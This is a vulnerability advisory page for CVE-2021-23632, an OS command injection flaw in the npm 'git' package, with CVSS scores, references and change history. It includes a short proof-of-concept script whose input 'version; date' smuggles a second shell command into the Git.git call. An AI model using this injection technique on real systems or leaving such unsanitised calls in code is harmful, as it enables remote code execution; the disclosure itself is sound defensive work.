CVE-2021-23632

All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

CVSS v3 9.8 CRITICAL
CVSS v2.0 7.5 HIGH

9.8^/10

CVSS v3 : CRITICAL

Vector :

Exploitability : 3.9 / Impact : 5.9

Attack Vector NETWORK

Attack Complexity LOW

Privileges Required NONE

User Interaction NONE

Confidentiality Impact HIGH

Integrity Impact HIGH

Availability Impact HIGH

Scope UNCHANGED

7.5^/10

CVSS v2.0 : HIGH

Vector : AV:N/AC:L/Au:N/C:P/I:P/A:P

Exploitability : 10.0 / Impact : 6.4

Access Vector NETWORK

Access Complexity LOW

Authentication NONE

Confidentiality Impact PARTIAL

Integrity Impact PARTIAL

Availability Impact PARTIAL

References

Link	Resource
https://snyk.io/vuln/SNYK-JS-GIT-1568518	Exploit Third Party Advisory

Configurations

Configuration 1 (hide)

cpe:2.3:a:git_project:git:*:*:*:*:*:node.js:*:*

History

24 Mar 2022, 01:49

Type	Values Removed	Values Added
CPE		cpe:2.3:a:git_project:git::::::node.js::*
CVSS	v2 : ~~unknown~~ v3 : ~~unknown~~	v2 : 7.5 v3 : 9.8
References	~~(MISC) https://snyk.io/vuln/SNYK-JS-GIT-1568518 -~~	(MISC) https://snyk.io/vuln/SNYK-JS-GIT-1568518 - Exploit, Third Party Advisory
CWE		CWE-78
First Time		Git Project Git Project git

17 Mar 2022, 12:50

Type	Values Removed	Values Added
New CVE

Information

Published : 2022-03-17 12:15

Updated : 2023-12-10 14:22

NVD link : CVE-2021-23632

Mitre link : CVE-2021-23632

CVE.ORG link : CVE-2021-23632

JSON object : View

Products Affected

git_project

git

CWE

CWE-78

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

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